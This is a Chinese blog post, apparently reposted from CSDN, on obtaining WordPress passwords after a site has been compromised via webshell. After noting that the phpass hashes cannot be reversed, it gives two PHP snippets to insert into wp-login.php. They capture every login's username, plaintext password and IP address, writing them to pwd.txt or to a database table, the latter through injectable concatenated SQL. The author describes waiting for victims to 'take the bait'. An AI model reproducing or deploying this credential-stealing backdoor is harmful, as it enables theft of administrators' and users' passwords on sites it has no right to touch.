wordpress密碼的破解

出處:http://blog.csdn.net/yiyefangzhou24/article/details/8727946

wordpress這種CMS國外用的非常多,安全性還是不錯的,跟新快,看到這種東西,除了管理員架好之後就託管的垃圾站,持續更新的wordpress還是很讓人頭疼的。


如果通過某種方法拿下了webshell,***之後會發現wp_user這個wordpress這個用戶表,裏面的密碼加密方法還是讓人絕望的,我大概找了找這方面的資料發現他的加密方法如下(此處引用):


WordPress系統的用戶密碼是保存在wp_users數據表的user_pass字段,密碼是通過Portable PHP password hashing framework類產生的,密碼的形式是隨機且不可逆,同一個明文的密碼在不同時間,產生的密文也不一樣,相對來說較爲安全。

WordPress用戶密碼產生的過程是,當需要生成用戶密碼的時候,隨機產生了一個salt,然後將salt和password相加,又進行了count次md5,最後和encode64的hash數值累加,就得到了一個以$P$開頭的密碼,這個密碼每次產生的結果都不一樣。


對於這種密碼破解基本無望,在舊版本的wordpress中會有這樣一個方法可能取得明文密碼,***到本地,本地搭建wordpress,還原wordpress。然後修改管理員郵箱,點擊忘記密碼,理論上wordpress會將明文密碼發到管理員的郵箱,所以取得明文密碼。但可能本菜鳥才疏學淺,不能知道是哪個版本有這樣一個漏洞。或者究竟有沒有不可考。並且這種加密算法不可逆,wordpress如何從密文本身還原出明文發送到administrator的郵箱的?想不通。難道存放了明文密碼?呵呵。。。


所以就有了另一種思路,直接截獲明文密碼,我們有webshell的時候,只要權限夠大(一般修改權限還是有的)。我們可以修改wordpress本身的腳本,本文修改wordpress中的wp-login.php實現只要有人從後臺登錄就能記錄下鞥如的密碼,也包括管理員的。

用webshell搜索wp-login.php中的這樣一個關鍵字 !is_wp_error($user)的上一行之後增加腳本:


[php] view plaincopy

  1. $log_user=$_POST['log'];  

  2.   $log_pwd=$_POST['pwd'];  

  3.   $log_ip=$_SERVER["REMOTE_ADDR"];  

  4.   $txt=$log_user.'|'.$log_pwd.'|'.$log_ip;  

  5.   $txt=$txt."\r\n";  

  6.   if($log_user&&$log_pwd&&$log_ip){  

  7.   @fwrite(fopen('pwd.txt',"a+"),$txt);  

  8.   }  


密碼寫入同目錄的pwd.txt,但是很多時候php沒有寫入權限,沒關係,我們可以直接寫入數據庫,前提是你要獲得數據庫的連接密碼,這個不用我說,大家都知道,然後建立一張表將截獲的數據寫進去。腳本如下



[php] view plaincopy

  1. $success=!is_wp_error($user) && !$reauth;  

  2. $log_user=$_POST['log'];    

  3. $log_pwd=$_POST['pwd'];    

  4. $log_ip=$_SERVER["REMOTE_ADDR"];    

  5. $connect = mysql_connect("localhost""用戶名""密碼");    

  6. mysql_select_db("數據庫",$connect);              

  7. mysql_query("set names utf8");                          

  8. $sql="insert into 表 values('$success','$log_user','$log_pwd','$log_ip')";    

  9. $res=mysql_query($sql,$connect);    




下面的事情就是漫長的等待,等待登入者上鉤。

此方法有一定的風險,腳本需本地測試好,否則可能造成wordpress奔潰。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章